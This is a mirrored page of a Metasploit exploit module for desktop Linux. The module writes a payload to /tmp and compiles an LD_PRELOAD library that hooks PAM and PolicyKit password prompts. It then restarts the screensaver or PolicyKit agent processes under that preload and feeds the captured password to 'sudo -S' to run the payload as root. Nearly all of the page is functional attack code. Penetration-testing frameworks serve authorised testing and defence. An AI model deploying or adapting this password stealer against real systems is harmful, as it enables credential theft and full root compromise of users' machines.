Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/desktop_privilege_escalation.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'base64'
7
require 'metasm'
8
9
class MetasploitModule < Msf::Exploit::Local
10
Rank = ExcellentRanking
11
include Msf::Exploit::EXE
12
include Msf::Post::File
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
{
19
'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',
20
'Description' => %q{
21
This module steals the user password of an administrative user on a desktop Linux system
22
when it is entered for unlocking the screen or for doing administrative actions using
23
PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.
24
It exploits the design weakness that there is no trusted channel for transferring the
25
password from the keyboard to the actual password verification against the shadow file
26
(which is running as root since /etc/shadow is only readable to the root user). Both
27
screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under
28
the current user account to query for the password and then pass it to a setuid-root binary
29
to do the password verification. Therefore, it is possible to inject a password stealer
30
after compromising the user account. Since sudo requires only the user password (and not
31
the root password of the system), stealing the user password of an administrative user
32
directly allows escalating to root privileges. Please note, you have to start a handler
33
as a background job before running this exploit since the exploit will only create a shell
34
when the user actually enters the password (which may be hours after launching the exploit).
35
Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => ['Jakob Lell'],
39
'DisclosureDate' => '2014-08-07',
40
'Platform' => 'linux',
41
'Arch' => [ARCH_X86, ARCH_X64],
42
'SessionTypes' => ['shell', 'meterpreter'],
43
'Targets' => [
44
['Linux x86', { 'Arch' => ARCH_X86 }],
45
['Linux x86_64', { 'Arch' => ARCH_X64 }]
46
],
47
'DefaultOptions' => {
48
'PrependSetresuid' => true,
49
'PrependFork' => true,
50
'DisablePayloadHandler' => true
51
},
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
},
58
}
59
)
60
)
61
register_advanced_options [
62
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
63
]
64
end
65
66
def check
67
check_command = 'if which perl && '
68
check_command << 'which sudo && '
69
check_command << 'id|grep -E \'sudo|adm\' && '
70
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
71
check_command << 'then echo OK;'
72
check_command << 'fi'
73
74
output = cmd_exec(check_command).gsub("\r", '')
75
76
vprint_status(output)
77
78
if output['OK'] == 'OK'
79
return Exploit::CheckCode::Vulnerable
80
end
81
82
Exploit::CheckCode::Safe
83
end
84
85
def exploit
86
# Cannot use generic/shell_reverse_tcp inside an elf
87
# Checking before proceeds
88
pl = generate_payload_exe
89
90
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
91
92
print_status("Writing payload executable to '#{exe_file}'")
93
write_file(exe_file, pl)
94
cmd_exec("chmod +x #{exe_file}")
95
96
cpu = nil
97
if target['Arch'] == ARCH_X86
98
cpu = Metasm::Ia32.new
99
elsif target['Arch'] == ARCH_X64
100
cpu = Metasm::X86_64.new
101
end
102
lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)
103
lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"
104
105
print_status("Writing lib file to '#{lib_file}'")
106
write_file(lib_file, lib_data)
107
108
print_status('Restarting processes (screensaver/policykit)')
109
restart_commands = get_restart_commands
110
restart_commands.each do |cmd|
111
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
112
cmd_exec(cmd)
113
end
114
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')
115
end
116
117
def get_restart_commands
118
get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
119
get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
120
get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
121
get_cmd_lines << '$/=undef;'
122
get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''
123
124
text_output = cmd_exec(get_cmd_lines).gsub("\r", '')
125
vprint_status(text_output)
126
127
lines = text_output.split("\n")
128
129
restart_commands = []
130
i = 0
131
while i < lines.length - 3
132
m = lines[i].match(/^PID:(\d+)/)
133
134
if m
135
pid = m[1]
136
vprint_status("PID=#{pid}")
137
print_status("Found process: " + lines[i + 1])
138
139
exe = lines[i + 1].match(/^EXE:(\S+)$/)[1]
140
vprint_status("exe=#{exe}")
141
142
cmdline = [lines[i + 2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
143
vprint_status("CMDLINE=" + cmdline.join(' XXX '))
144
145
env = lines[i + 3].match(/^environ:(\w+)$/)[1]
146
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
147
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
148
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map { |x| '"' + x + '"' }.join(", ") + '\''
149
150
vprint_status("RESTART: #{restart_command}")
151
restart_commands.push(restart_command)
152
end
153
154
i += 1
155
end
156
157
restart_commands
158
end
159
160
def c_code(exe_file)
161
c = %Q|
162
// A few constants/function definitions/structs copied from header files
163
#define RTLD_NEXT ((void *) -1l)
164
extern uintptr_t dlsym(uintptr_t, char*);
165
// Define some structs to void so that we can ignore all dependencies from these structs
166
#define FILE void
167
#define pam_handle_t void
168
extern FILE *popen(const char *command, const char *type);
169
extern int pclose(FILE *stream);
170
extern int fprintf(FILE *stream, const char *format, ...);
171
extern char *strstr(const char *haystack, const char *needle);
172
extern void *malloc(unsigned int size);
173
174
struct pam_message {
175
int msg_style;
176
const char *msg;
177
};
178
179
struct pam_response {
180
char *resp;
181
int resp_retcode;
182
};
183
184
struct pam_conv {
185
int (*conv)(int num_msg, const struct pam_message **msg,
186
struct pam_response **resp, void *appdata_ptr);
187
void *appdata_ptr;
188
};
189
190
void run_sudo(char* password) {
191
FILE* sudo = popen("sudo -S #{exe_file}", "w");
192
fprintf(sudo,"%s\\n",password);
193
pclose(sudo);
194
}
195
196
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
197
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
198
int i;
199
int passwd_index = -1;
200
for(i=0;i<num_msg;i++){
201
if(strstr(msg[i]->msg,"Password") >= 0){
202
passwd_index = i;
203
}
204
}
205
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
206
if(passwd_index >= 0){
207
run_sudo(resp[passwd_index]->resp);
208
}
209
return result;
210
}
211
212
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
213
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
214
if(!orig_pam_start){
215
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
216
}
217
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
218
my_pam_conversation->conv = &my_conv;
219
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
220
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
221
}
222
223
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
224
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
225
if(!orig_polkit_agent_session_response){
226
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
227
}
228
run_sudo(response);
229
orig_polkit_agent_session_response(session, response);
230
return;
231
}
232
|
233
c
234
end
235
end
236
237